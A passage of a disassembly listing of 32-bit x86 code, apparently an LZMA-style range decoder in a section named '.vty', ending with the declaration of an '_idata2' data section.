ecx, 8 or ecx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_448266: ; CODE XREF: .vty:0044824Dj mov ecx, [edi] mov esi, eax shr esi, 0Bh imul esi, ecx cmp [ebp+0Ch], esi jnb short loc_448289 mov eax, esi mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx mov [edi], esi add edx, edx jmp short loc_44829B ; --------------------------------------------------------------------------- loc_448289: ; CODE XREF: .vty:00448273j sub [ebp+0Ch], esi sub eax, esi mov esi, ecx shr esi, 5 sub ecx, esi mov [edi], ecx lea edx, [edx+edx+1] loc_44829B: ; CODE XREF: .vty:00448213j ; .vty:00448232j ... cmp edx, 100h jl short loc_448242 loc_4482A3: ; CODE XREF: .vty:00448240j mov esi, [ebp-10h] mov ecx, [ebp+8] inc dword ptr [ebp-10h] cmp dword ptr [ebp-0Ch], 4 mov [ebp-1], dl mov [ecx+esi], dl jge short loc_4482C1 and dword ptr [ebp-0Ch], 0 jmp loc_44812A ; --------------------------------------------------------------------------- loc_4482C1: ; CODE XREF: .vty:004482B6j cmp dword ptr [ebp-0Ch], 0Ah jge short loc_4482D0 sub dword ptr [ebp-0Ch], 3 jmp loc_44812A ; --------------------------------------------------------------------------- loc_4482D0: ; CODE XREF: .vty:004482C5j sub dword ptr [ebp-0Ch], 6 jmp loc_44812A ; --------------------------------------------------------------------------- loc_4482D9: ; CODE XREF: .vty:00448169j sub [ebp+0Ch], ebx mov edx, ecx shr edx, 5 sub ecx, edx mov edx, [ebp-0Ch] sub eax, ebx cmp eax, 1000000h mov [edi], ecx mov ecx, [ebp+10h] lea edx, [ecx+edx*4+300h] jnb short loc_448312 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_448312: ; CODE XREF: .vty:004482F9j mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_448364 mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx cmp dword ptr [ebp-0Ch], 7 mov ecx, [ebp-18h] mov [ebp-28h], ecx mov ecx, [ebp-1Ch] mov [ebp-18h], ecx mov ecx, [ebp-14h] mov [edx], edi mov [ebp-1Ch], ecx jge short loc_44834F and dword ptr [ebp-0Ch], 0 jmp short loc_448356 ; --------------------------------------------------------------------------- loc_44834F: ; CODE XREF: .vty:00448347j mov dword ptr [ebp-0Ch], 3 loc_448356: ; CODE XREF: .vty:0044834Dj mov ecx, [ebp+10h] add ecx, 0CC8h jmp loc_44854D ; --------------------------------------------------------------------------- loc_448364: ; CODE XREF: .vty:0044831Fj sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi cmp eax, 1000000h mov [edx], ecx mov ecx, [ebp-0Ch] mov edx, [ebp+10h] lea edi, [edx+ecx*4+330h] jnb short loc_44839D mov edx, [ebp-8] mov ecx, [ebp+0Ch] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_44839D: ; CODE XREF: .vty:00448384j mov ecx, [edi] mov edx, eax shr edx, 0Bh imul edx, ecx cmp [ebp+0Ch], edx jnb loc_448451 mov ebx, 800h sub ebx, ecx shr ebx, 5 add ebx, ecx mov ecx, [ebp-0Ch] add ecx, 0Fh shl ecx, 4 mov [edi], ebx mov edi, [ebp+10h] add ecx, esi cmp edx, 1000000h mov eax, edx lea edi, [edi+ecx*4] jnb short loc_4483F2 mov ecx, [ebp+0Ch] shl edx, 8 mov eax, edx mov edx, [ebp-8] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_4483F2: ; CODE XREF: .vty:004483D7j mov ecx, [edi] mov edx, eax shr edx, 0Bh imul edx, ecx cmp [ebp+0Ch], edx jnb short loc_44843E mov esi, [ebp-10h] mov eax, edx mov edx, 800h sub edx, ecx shr edx, 5 add edx, ecx xor ecx, ecx cmp dword ptr [ebp-0Ch], 7 mov [edi], edx mov edx, [ebp+8] setnl cl lea ecx, [ecx+ecx+9] mov [ebp-0Ch], ecx mov ecx, [ebp-10h] sub ecx, [ebp-14h] inc dword ptr [ebp-10h] mov cl, [edx+ecx] mov [ebp-1], cl mov [edx+esi], cl jmp loc_44812A ; --------------------------------------------------------------------------- loc_44843E: ; CODE XREF: .vty:004483FFj sub [ebp+0Ch], edx sub eax, edx mov edx, ecx shr edx, 5 sub ecx, edx mov [edi], ecx jmp loc_448531 ; --------------------------------------------------------------------------- loc_448451: ; CODE XREF: .vty:004483AAj sub [ebp+0Ch], edx sub eax, edx mov edx, ecx shr edx, 5 sub ecx, edx cmp eax, 1000000h mov edx, [ebp+10h] mov [edi], ecx mov ecx, [ebp-0Ch] lea edx, [edx+ecx*4+360h] jnb short loc_44848A mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_44848A: ; CODE XREF: .vty:00448471j mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_4484AE mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-1Ch] mov [edx], edi jmp short loc_448528 ; --------------------------------------------------------------------------- loc_4484AE: ; CODE XREF: .vty:00448497j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi cmp eax, 1000000h mov [edx], ecx mov ecx, [ebp-0Ch] mov edx, [ebp+10h] lea edx, [edx+ecx*4+390h] jnb short loc_4484E7 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_4484E7: ; CODE XREF: .vty:004484CEj mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_44850B mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-18h] mov [edx], edi jmp short loc_448522 ; --------------------------------------------------------------------------- loc_44850B: ; CODE XREF: .vty:004484F4j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi mov [edx], ecx mov edx, [ebp-18h] mov ecx, [ebp-28h] mov [ebp-28h], edx loc_448522: ; CODE XREF: .vty:00448509j mov edx, [ebp-1Ch] mov [ebp-18h], edx loc_448528: ; CODE XREF: .vty:004484ACj mov edx, [ebp-14h] mov [ebp-1Ch], edx mov [ebp-14h], ecx loc_448531: ; CODE XREF: .vty:0044844Cj xor ecx, ecx cmp dword ptr [ebp-0Ch], 7 setnl cl dec ecx and ecx, 0FFFFFFFDh add ecx, 0Bh mov [ebp-0Ch], ecx mov ecx, [ebp+10h] add ecx, 14D0h loc_44854D: ; CODE XREF: .vty:0044835Fj cmp eax, 1000000h jnb short loc_44856B mov edi, [ebp-8] mov edx, [ebp+0Ch] movzx edi, byte ptr [edi] shl edx, 8 or edx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_44856B: ; CODE XREF: .vty:00448552j mov edx, [ecx] mov edi, eax shr edi, 0Bh imul edi, edx cmp [ebp+0Ch], edi jnb short loc_448597 mov eax, edi mov edi, 800h sub edi, edx shr edi, 5 add edi, edx shl esi, 5 and dword ptr [ebp-24h], 0 mov [ecx], edi lea ecx, [ecx+esi+8] jmp short loc_4485F5 ; --------------------------------------------------------------------------- loc_448597: ; CODE XREF: .vty:00448578j sub [ebp+0Ch], edi sub eax, edi mov edi, edx shr edi, 5 sub edx, edi cmp eax, 1000000h mov [ecx], edx jnb short loc_4485C3 mov edi, [ebp-8] mov edx, [ebp+0Ch] movzx edi, byte ptr [edi] shl edx, 8 or edx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_4485C3: ; CODE XREF: .vty:004485AAj mov edx, [ecx+4] mov edi, eax shr edi, 0Bh imul edi, edx cmp [ebp+0Ch], edi jnb short loc_4485FE mov eax, edi mov edi, 800h sub edi, edx shr edi, 5 add edi, edx shl esi, 5 mov [ecx+4], edi lea ecx, [ecx+esi+208h] mov dword ptr [ebp-24h], 8 loc_4485F5: ; CODE XREF: .vty:00448595j mov dword ptr [ebp-20h], 3 jmp short loc_448621 ; --------------------------------------------------------------------------- loc_4485FE: ; CODE XREF: .vty:004485D1j sub [ebp+0Ch], edi mov esi, edx shr esi, 5 sub edx, esi sub eax, edi mov [ecx+4], edx add ecx, 408h mov dword ptr [ebp-24h], 10h mov dword ptr [ebp-20h], 8 loc_448621: ; CODE XREF: .vty:004485FCj mov edx, [ebp-20h] xor ebx, ebx mov [ebp-2Ch], edx inc ebx loc_44862A: ; CODE XREF: .vty:00448683j cmp eax, 1000000h jnb short loc_448648 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_448648: ; CODE XREF: .vty:0044862Fj mov edx, [ecx+ebx*4] mov esi, eax shr esi, 0Bh imul esi, edx cmp [ebp+0Ch], esi jnb short loc_44866D mov eax, esi mov esi, 800h sub esi, edx shr esi, 5 add esi, edx mov [ecx+ebx*4], esi add ebx, ebx jmp short loc_448680 ; --------------------------------------------------------------------------- loc_44866D: ; CODE XREF: .vty:00448656j sub [ebp+0Ch], esi sub eax, esi mov esi, edx shr esi, 5 sub edx, esi mov [ecx+ebx*4], edx lea ebx, [ebx+ebx+1] loc_448680: ; CODE XREF: .vty:0044866Bj dec dword ptr [ebp-2Ch] jnz short loc_44862A mov ecx, [ebp-20h] xor edx, edx inc edx mov esi, edx shl esi, cl mov ecx, [ebp-24h] sub ecx, esi add ebx, ecx cmp dword ptr [ebp-0Ch], 4 mov [ebp-30h], ebx jge loc_448837 add dword ptr [ebp-0Ch], 7 cmp ebx, 4 jge short loc_4486B0 mov ecx, ebx jmp short loc_4486B3 ; --------------------------------------------------------------------------- loc_4486B0: ; CODE XREF: .vty:004486AAj push 3 pop ecx loc_4486B3: ; CODE XREF: .vty:004486AEj mov esi, [ebp+10h] shl ecx, 8 lea edi, [esi+ecx+6C0h] mov dword ptr [ebp-2Ch], 6 loc_4486C7: ; CODE XREF: .vty:00448720j cmp eax, 1000000h jnb short loc_4486E5 mov esi, [ebp-8] mov ecx, [ebp+0Ch] movzx esi, byte ptr [esi] shl ecx, 8 or ecx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_4486E5: ; CODE XREF: .vty:004486CCj mov ecx, [edi+edx*4] mov esi, eax shr esi, 0Bh imul esi, ecx cmp [ebp+0Ch], esi jnb short loc_44870A mov eax, esi mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx mov [edi+edx*4], esi add edx, edx jmp short loc_44871D ; --------------------------------------------------------------------------- loc_44870A: ; CODE XREF: .vty:004486F3j sub [ebp+0Ch], esi sub eax, esi mov esi, ecx shr esi, 5 sub ecx, esi mov [edi+edx*4], ecx lea edx, [edx+edx+1] loc_44871D: ; CODE XREF: .vty:00448708j dec dword ptr [ebp-2Ch] jnz short loc_4486C7 sub edx, 40h cmp edx, 4 mov edi, edx jl loc_448808 mov ecx, edx sar ecx, 1 and edi, 1 dec ecx or edi, 2 cmp edx, 0Eh mov [ebp-14h], ecx jge short loc_448755 shl edi, cl mov ecx, edi sub ecx, edx mov edx, [ebp+10h] lea ebx, [edx+ecx*4+0ABCh] jmp short loc_44879B ; --------------------------------------------------------------------------- loc_448755: ; CODE XREF: .vty:00448741j sub ecx, 4 loc_448758: ; CODE XREF: .vty:00448786j cmp eax, 1000000h jnb short loc_448776 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_448776: ; CODE XREF: .vty:0044875Dj shr eax, 1 add edi, edi cmp [ebp+0Ch], eax jb short loc_448785 sub [ebp+0Ch], eax or edi, 1 loc_448785: ; CODE XREF: .vty:0044877Dj dec ecx jnz short loc_448758 mov ebx, [ebp+10h] add ebx, 0C88h shl edi, 4 mov dword ptr [ebp-14h], 4 loc_44879B: ; CODE XREF: .vty:00448753j xor ecx, ecx inc ecx mov [ebp-20h], ebx mov [ebp-24h], ecx loc_4487A4: ; CODE XREF: .vty:00448806j cmp eax, 1000000h jnb short loc_4487C2 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_4487C2: ; CODE XREF: .vty:004487A9j mov edx, [ebx+ecx*4] mov esi, eax shr esi, 0Bh imul esi, edx cmp [ebp+0Ch], esi jnb short loc_4487E7 mov eax, esi mov esi, 800h sub esi, edx shr esi, 5 add esi, edx mov [ebx+ecx*4], esi add ecx, ecx jmp short loc_448800 ; --------------------------------------------------------------------------- loc_4487E7: ; CODE XREF: .vty:004487D0j sub [ebp+0Ch], esi mov ebx, [ebp-20h] sub eax, esi mov esi, edx shr esi, 5 sub edx, esi or edi, [ebp-24h] mov [ebx+ecx*4], edx lea ecx, [ecx+ecx+1] loc_448800: ; CODE XREF: .vty:004487E5j shl dword ptr [ebp-24h], 1 dec dword ptr [ebp-14h] jnz short loc_4487A4 loc_448808: ; CODE XREF: .vty:0044872Aj inc edi mov [ebp-14h], edi jz short loc_44883C mov ebx, [ebp-30h] loc_448811: ; CODE XREF: .vty:0044883Aj mov ecx, [ebp-10h] inc ebx sub ecx, edi inc ebx add ecx, [ebp+8] loc_44881B: ; CODE XREF: .vty:00448830j mov dl, [ecx] mov esi, [ebp-10h] mov edi, [ebp+8] dec ebx inc dword ptr [ebp-10h] inc ecx test ebx, ebx mov [ebp-1], dl mov [edi+esi], dl jnz short loc_44881B jmp loc_44812A ; --------------------------------------------------------------------------- loc_448837: ; CODE XREF: .vty:0044869Dj mov edi, [ebp-14h] jmp short loc_448811 ; --------------------------------------------------------------------------- loc_44883C: ; CODE XREF: .vty:0044880Cj mov eax, [ebp-10h] leave retn 0Ch ; --------------------------------------------------------------------------- align 800h _vty ends ; Section 3. (virtual address 00049000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00049000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 449000h align 2000h _idata2 ends end start